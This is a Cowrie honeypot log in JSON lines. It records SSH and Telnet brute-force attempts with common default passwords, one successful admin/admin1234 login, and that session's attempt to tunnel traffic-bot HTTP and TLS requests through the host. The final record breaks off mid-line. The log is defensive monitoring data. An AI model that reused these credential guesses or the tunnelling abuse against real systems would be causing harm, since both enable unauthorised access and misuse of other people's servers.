{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:34.603047Z","src_ip":"49.247.37.22","session":"7b25da687ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51736,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f7a89b2a0ff","protocol":"telnet","message":"New connection: 128.199.8.54:51736 (159.203.135.109:23) [session: 3f7a89b2a0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:37.864272Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":52471,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c4a186f0124","protocol":"telnet","message":"New connection: 50.65.170.8:52471 (159.203.135.109:23) [session: 1c4a186f0124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:55.055874Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":58248,"dst_ip":"10.17.0.5","dst_port":22,"session":"19a45b61529c","protocol":"ssh","message":"New connection: 103.153.68.219:58248 (10.17.0.5:22) [session: 19a45b61529c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:55.366351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:55.371258Z","src_ip":"103.153.68.219","session":"19a45b61529c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:55.619399Z","src_ip":"103.153.68.219","session":"19a45b61529c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"star1","message":"login attempt [root/star1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:56.366939Z","src_ip":"103.153.68.219","session":"19a45b61529c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:57.639641Z","src_ip":"103.153.68.219","session":"19a45b61529c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.70162487030029,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:12.642377Z","src_ip":"172.81.62.90","session":"2ec8bf38d1f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":49274,"dst_ip":"159.203.135.109","dst_port":22,"session":"db4fbc27593c","protocol":"ssh","message":"New connection: 2.99.213.222:49274 (159.203.135.109:22) [session: db4fbc27593c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:19.121488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:19.126161Z","src_ip":"2.99.213.222","session":"db4fbc27593c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:19.236007Z","src_ip":"2.99.213.222","session":"db4fbc27593c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"12345678","message":"login attempt [david/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:19.675416Z","src_ip":"2.99.213.222","session":"db4fbc27593c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:20.778100Z","src_ip":"2.99.213.222","session":"db4fbc27593c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":35928,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bb5dcc62206","protocol":"ssh","message":"New connection: 101.79.165.43:35928 (159.203.135.109:22) [session: 3bb5dcc62206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:22.572180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:22.579537Z","src_ip":"101.79.165.43","session":"3bb5dcc62206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:22.796323Z","src_ip":"101.79.165.43","session":"3bb5dcc62206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123","message":"login attempt [root/Asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:23.697645Z","src_ip":"101.79.165.43","session":"3bb5dcc62206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:24.917731Z","src_ip":"101.79.165.43","session":"3bb5dcc62206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.86748647689819,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:28.731582Z","src_ip":"128.199.8.54","session":"3f7a89b2a0ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51976,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b62a68c2a5","protocol":"telnet","message":"New connection: 128.199.8.54:51976 (159.203.135.109:23) [session: b9b62a68c2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:29.295068Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":43970,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff648302bdab","protocol":"ssh","message":"New connection: 103.60.242.169:43970 (159.203.135.109:22) [session: ff648302bdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:33.438843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:33.443772Z","src_ip":"103.60.242.169","session":"ff648302bdab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:33.699372Z","src_ip":"103.60.242.169","session":"ff648302bdab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antonio","password":"123","message":"login attempt [antonio/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:34.754229Z","src_ip":"103.60.242.169","session":"ff648302bdab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:36.011573Z","src_ip":"103.60.242.169","session":"ff648302bdab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":61304,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1bb9fd0ff8f","protocol":"ssh","message":"New connection: 63.141.242.2:61304 (10.17.0.5:22) [session: f1bb9fd0ff8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:38.332865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:38.337228Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:38.409990Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:40.367408Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:46.900727Z","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:47.321423Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-A022M/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-A022M/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:47.324693Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'_=SGVzcGQ3L30%2BeSVDQ190Uw%3D%3DeBjvy%2F1vnWZA1r1plAoss6x4zbZZqBGBUT8YiN7jOReZZPyQHAA0BwmNJcC5EwtVsq2eIpZpl0j1ecCgegSVorHDBIhUyGwwqyxrZbWWSZ30NrEoOr14T71IgPRWpRSnrg5qx6kIkAoQN97AQKRzCYLJkfunuBVHG0epHGLunBRveE9BEIpfi9a3CzHHe9Bl5TaxM5Bs%2BM91g2WYD4D3C%2BCsptaqrjVKwwH2H7Y0Jo9Gh3ayNVscLzgxGPrfHB49gZPIuM%2FfwNagOO%2BrV2HKlzb158jaXcWykSbtm3ySsayO3ApFRygwErRBRL7H2VhW8PGx7lt2rep0KduKo0q9vtkl%2FMkgeJZ1rVPbr2J%2BdJwTjBdAijThazJO6896HAyC%2BMaJ8lbtIOCziSupCEnS%2BHLTF1rrX7F2fQMtz6PDIp2EyuZt3i%2BDekunEwr%2Fd9MXXsJ%2FQDNv69tnJW56sv2fKBUMXcHHusOCqABJBFov51E25Z36T1r1gD2W9Japun61yOoKAXjzjO%2BvXFXIoFU%2FxNc9dn%2BtRLGVj5v9%2Fd0lNs2CQcV3INXdkFmhFLS5oHB%2FrgUaMK43AsA4DJCf6VSNKxgT0mmOBGLNdZDIa%2Bv5n2zmJhFagl2zwEBVFx2wbVOPWuAR84Yui2eQ%2Fe7HVB3xxSN%2FWRzy6QOAgSIAArJ%2BAfHDR1B7w91K3%2BwOoTGywtCdAWG4qZCPBxdu1bL6ejV1bAl%2F6cB7Jh%2FdgmG1hYiLjPn87AjQuEK6FdicGMVSBSbL58ZmETpppN8FlnngAmcThf0NPlXxpxOV7OWNFg0HNPB4c9MWz3v853hkg0Ka4iC6rASY4yGDBotxUHoaw2f4kZjO1Yj2quoqNNKejDgv6nrIzu4XxTBMnprDAbmunI1IofnCJrtkyoZFcK9N40Na%2BbXjLJonsHj3JCL3wawfFhMWhMI%2FMDhMCtAoGFz8q0GqCjO6yCgv9Mj%2B6tLtKOlZJfCo0A2JJreJaarK1fDhXR2hf%2BQuKBT8NaYAZijGvz8jG9hlTsnodkC5MM5wdNWfELPoZZLfRgMFqO6NKAp1nTg%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'_=SGVzcGQ3L30%2BeSVDQ190Uw%3D%3DeBjvy%2F1vnWZA1r1plAoss6x4zbZZqBGBUT8YiN7jOReZZPyQHAA0BwmNJcC5EwtVsq2eIpZpl0j1ecCgegSVorHDBIhUyGwwqyxrZbWWSZ30NrEoOr14T71IgPRWpRSnrg5qx6kIkAoQN97AQKRzCYLJkfunuBVHG0epHGLunBRveE9BEIpfi9a3CzHHe9Bl5TaxM5Bs%2BM91g2WYD4D3C%2BCsptaqrjVKwwH2H7Y0Jo9Gh3ayNVscLzgxGPrfHB49gZPIuM%2FfwNagOO%2BrV2HKlzb158jaXcWykSbtm3ySsayO3ApFRygwErRBRL7H2VhW8PGx7lt2rep0KduKo0q9vtkl%2FMkgeJZ1rVPbr2J%2BdJwTjBdAijThazJO6896HAyC%2BMaJ8lbtIOCziSupCEnS%2BHLTF1rrX7F2fQMtz6PDIp2EyuZt3i%2BDekunEwr%2Fd9MXXsJ%2FQDNv69tnJW56sv2fKBUMXcHHusOCqABJBFov51E25Z36T1r1gD2W9Japun61yOoKAXjzjO%2BvXFXIoFU%2FxNc9dn%2BtRLGVj5v9%2Fd0lNs2CQcV3INXdkFmhFLS5oHB%2FrgUaMK43AsA4DJCf6VSNKxgT0mmOBGLNdZDIa%2Bv5n2zmJhFagl2zwEBVFx2wbVOPWuAR84Yui2eQ%2Fe7HVB3xxSN%2FWRzy6QOAgSIAArJ%2BAfHDR1B7w91K3%2BwOoTGywtCdAWG4qZCPBxdu1bL6ejV1bAl%2F6cB7Jh%2FdgmG1hYiLjPn87AjQuEK6FdicGMVSBSbL58ZmETpppN8FlnngAmcThf0NPlXxpxOV7OWNFg0HNPB4c9MWz3v853hkg0Ka4iC6rASY4yGDBotxUHoaw2f4kZjO1Yj2quoqNNKejDgv6nrIzu4XxTBMnprDAbmunI1IofnCJrtkyoZFcK9N40Na%2BbXjLJonsHj3JCL3wawfFhMWhMI%2FMDhMCtAoGFz8q0GqCjO6yCgv9Mj%2B6tLtKOlZJfCo0A2JJreJaarK1fDhXR2hf%2BQuKBT8NaYAZijGvz8jG9hlTsnodkC5MM5wdNWfELPoZZLfRgMFqO6NKAp1nTg%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:47.339282Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:48.841948Z","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:48.876595Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\"\\xc0\\xc7\\xeb\\x92\\x9a\\xa2u\\xfd\\x97\\x13\\x10\\x9c\\x04}_\\xa9\\x8al\"k\\xac\\x1a\\xd0\\xca\\x86\\x1e\\x84\\x00\\xd6\\x82\\x06 \\xb5Q:`\\x93\\x0e\\xa7\\xbdH\\x98is\\x8e5%\\x03o\\xffY3\\xcd[\\x17u\\x14W\\xff\\xb6\\x99.5\\xf3\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 